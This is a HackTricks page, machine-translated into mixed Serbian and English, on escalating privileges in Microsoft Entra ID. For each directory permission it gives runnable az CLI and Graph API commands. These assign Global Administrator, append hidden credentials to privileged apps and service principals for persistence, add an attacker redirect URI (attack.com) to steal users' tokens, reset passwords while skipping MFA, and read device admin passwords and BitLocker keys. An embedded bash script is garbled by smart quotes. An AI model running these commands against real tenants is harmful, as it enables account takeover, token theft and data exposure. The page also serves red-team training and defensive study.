Az - EntraID Privesc

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Note

Imajte na umu da nisu sve granular permissions koje built-in roles imaju u Entra ID eligible to be used in custom roles.

Roles

Role: Privileged Role Administrator

Ova role sadrži neophodne granular permissions da bi mogla da dodeljuje roles principalima i da daje više permissions role-ovima. Obe akcije mogu biti abused za escalation privileges.

  • Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Dodaj još permissions u role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

Ovo omogućava napadaču da doda credentials (passwords ili certificates) postojećim applications. Ako application ima privileged permissions, napadač može da se autentifikuje kao ta application i dobije te privilegije.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Ovo omogućava iste akcije kao applications/credentials/update, ali ograničeno na single-directory applications.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Dodavanjem sebe kao owner-a, napadač može manipulisati aplikacijom, uključujući credentials i permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Napadač može da doda redirect URI aplikacijama koje koriste korisnici tenant-a, a zatim da s njima deli login URL-ove koji koriste novi redirect URL kako bi ukrao njihove tokene. Imajte na umu da, ako je korisnik već bio ulogovan u aplikaciju, autentifikacija će biti automatska bez potrebe da korisnik bilo šta prihvati.

Imajte na umu da je takođe moguće promeniti permissions koje aplikacija zahteva kako bi se dobilo više permissions, ali u ovom slučaju će korisnik morati ponovo da prihvati prompt koji traži sve permissions.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Eskalacija privilegija aplikacija

Kao što je objašnjeno u ovom postu, bilo je veoma uobičajeno pronaći podrazumevane aplikacije koje imaju dodeljene API permissions tipa Application. API Permission (kako se zove u Entra ID konzoli) tipa Application znači da aplikacija može da pristupi API-ju i izvršava akcije bez user context-a (bez user logina u app), i bez potrebe za Entra ID roles da bi to bilo dozvoljeno. Zbog toga je veoma uobičajeno pronaći visoko privilegovane aplikacije u svakom Entra ID tenant-u.

Zatim, ako attacker ima bilo kakvu permission/role koja omogućava da ažurira credentials (secret ili certificate) aplikacije, attacker može da generiše novi credential i zatim ga iskoristi da bi se autentifikovao kao application, dobijajući sve permissions koje application ima.

Imajte na umu da pomenuti blog deli neke API permissions uobičajenih Microsoft default aplikacija, međutim nešto kasnije nakon ovog report-a Microsoft je ispravio ovaj issue i sada više nije moguće login kao Microsoft applications. Ipak, i dalje je moguće pronaći custom applications sa visokim privilegijama koje mogu da se abuse-uju.

Kako enumerisati API permissions aplikacije:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Pronađi sve API permisije aplikacija i označi Microsoft-owned APIs ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Ovo omogućava napadaču da doda credentials postojećim service principals. Ako service principal ima elevated privileges, napadač može da preuzme te privilegije.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Nova generisana lozinka se neće pojaviti u web konzoli, tako da ovo može biti stealth način za održavanje persistence nad service principal-om.
Iz API-ja mogu da se pronađu pomoću: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Ako dobijete grešku "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." to je zato što nije moguće izmeniti passwordCredentials property od SP-a i prvo morate da ga unlock-ujete. Za to vam je potrebna permission (microsoft.directory/applications/allProperties/update) koja omogućava da izvršite:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Ovo omogućava napadaču da doda kredencijale postojećim service principals. Ako service principal ima povišene privilegije, napadač može preuzeti te privilegije.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Kao i kod applications, ova permission omogućava dodavanje više owners na service principal. Vlasništvo nad service principal-om omogućava kontrolu nad njegovim credentials i permissions.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Nakon dodavanja novog owner-a, pokušao sam da ga uklonim, ali je API odgovorio da DELETE metoda nije podržana, iako je to metoda koju treba da koristiš za brisanje owner-a. Dakle, danas ne možeš da ukloniš owner-e.

microsoft.directory/servicePrincipals/disable and enable

These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.

Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Ova ovlašćenja omogućavaju kreiranje i dobijanje kredencijala za single sign-on, što može omogućiti pristup third-party aplikacijama.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Grupe

microsoft.directory/groups/allProperties/update

Ova permisija omogućava dodavanje korisnika u privilegovane grupe, što vodi do privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Napomena: Ovo permission excludes Entra ID role-assignable groups.

microsoft.directory/groups/owners/update

Ovo permission omogućava da postanete owner grupa. Owner grupe može da kontroliše članstvo i settings grupe, potencijalno eskalirajući privileges do grupe.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Napomena: Ova dozvola isključuje Entra ID role-assignable groups.

microsoft.directory/groups/members/update

Ova dozvola omogućava dodavanje članova u grupu. Napadač bi mogao da doda sebe ili maliciozne naloge u privilegovane grupe, što može da obezbedi povišen pristup.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Ova permission omogućava update membership rule u dynamic group. Napadač bi mogao da modifikuje dynamic rules kako bi uključio sebe u privileged groups bez explicit addition.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Napomena: Ovo dopuštenje isključuje Entra ID role-assignable groups.

Dynamic Groups Privesc

Moguće je da korisnici eskaliraju privilegije menjajući sopstvena svojstva kako bi bili dodati kao članovi dynamic groups. Za više informacija pogledajte:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

Ovo dopuštenje omogućava resetovanje lozinke za non-admin korisnike, što potencijalnom napadaču omogućava eskalaciju privilegija ka drugim korisnicima. Ovo dopuštenje ne može biti dodeljeno custom roles.

# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"

# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"

microsoft.directory/users/basic/update

Ово privilege омогућава измену својстава корисника. Уобичајено је пронаћи dynamic groups које додају кориснике на основу вредности својстава, стога ова permission може омогућити кориснику да постави потребну вредност својства како би постао члан одређене dynamic group и ескалира privileges.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Pogrešno konfigurirane conditional access policies koje zahtevaju MFA mogu biti zaobiđene, proveri:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

Ova permission omogućava attackerima da se sami dodele kao owners uređaja kako bi preuzeli control ili access do device-specific settings i podataka.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Ova dozvola omogućava napadačima da povežu svoj nalog sa uređajima kako bi stekli pristup ili zaobišli bezbednosne politike.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Ova dozvola omogućava napadačima da čitaju svojstva backup-ovanih kredencijala lokalnog administrator naloga za Microsoft Entra joined uređaje, uključujući lozinku

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Ova dozvola omogućava pristup BitLocker ključevima, što može omogućiti napadaču da dekriptuje diskove, kompromitujući poverljivost podataka.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Ostale zanimljive dozvole (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks